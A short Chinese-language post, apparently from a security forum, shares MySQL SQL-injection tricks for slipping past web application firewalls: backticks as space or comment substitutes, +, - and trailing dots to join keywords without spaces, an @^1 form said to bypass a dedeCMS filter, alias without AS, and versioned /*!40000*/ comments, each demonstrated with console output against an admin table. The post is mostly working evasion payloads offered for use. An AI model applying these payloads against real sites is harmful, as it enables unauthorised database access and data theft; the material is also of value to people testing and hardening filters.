waf 绕过的技巧

研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如：/*!*/,SELECT[◆9,◆A-◆D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 `  (格式输出表的那个控制符)

过空格和一些正则。
mysql> select`version`() -> ;+----------------------+| `version`() |+----------------------+| 5.1.50-community-log |+----------------------+1 row in set (0.00 sec) 一个更好玩的技巧，这个`控制符可以当注释符用（限定条件）。
mysql> select id from qs_admins where id=1;`dfff and comment it;+----+| id |+----+| 1 |+----+1 row in set (0.00 sec)usage : where  id ='0'`'xxxxcomment on.
tips2:神奇的- + .

mysql> select id from qs_admins;+----+| id |+----+| 1 |+----+1 row in set (0.00 sec)mysql> select+id-1+1.from qs_admins;+----------+| +id-1+1. |+----------+| 1 |+----------+1 row in set (0.00 sec)mysql> select-id-1+3.from qs_admins;+----------+| -id-1+3. |+----------+| 1 |+----------+1 row in set (0.00 sec)（有些人不是一直在说关键字怎么过？过滤一个from ...    就是这样连起来过）
tips3: @

mysql> select@^1.from qs_admins;+------|+| @^1. |+------|+| NULL |+------|+这个是bypass  曾经dedeCMS filter .
或者这样也是ok.
tips4：mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;+------|+| test |+------|+| -1 |+------|+1 row in set (0.00 sec)tips5:/*![>5000]*/ 新构造  版本号（这个可能有些过时了。）

mysql> /*!40000select*/ id from qs_admins;+----+| id |+----+|  1 |+----+1 row in set (0.00 sec)先分享这么多，哈。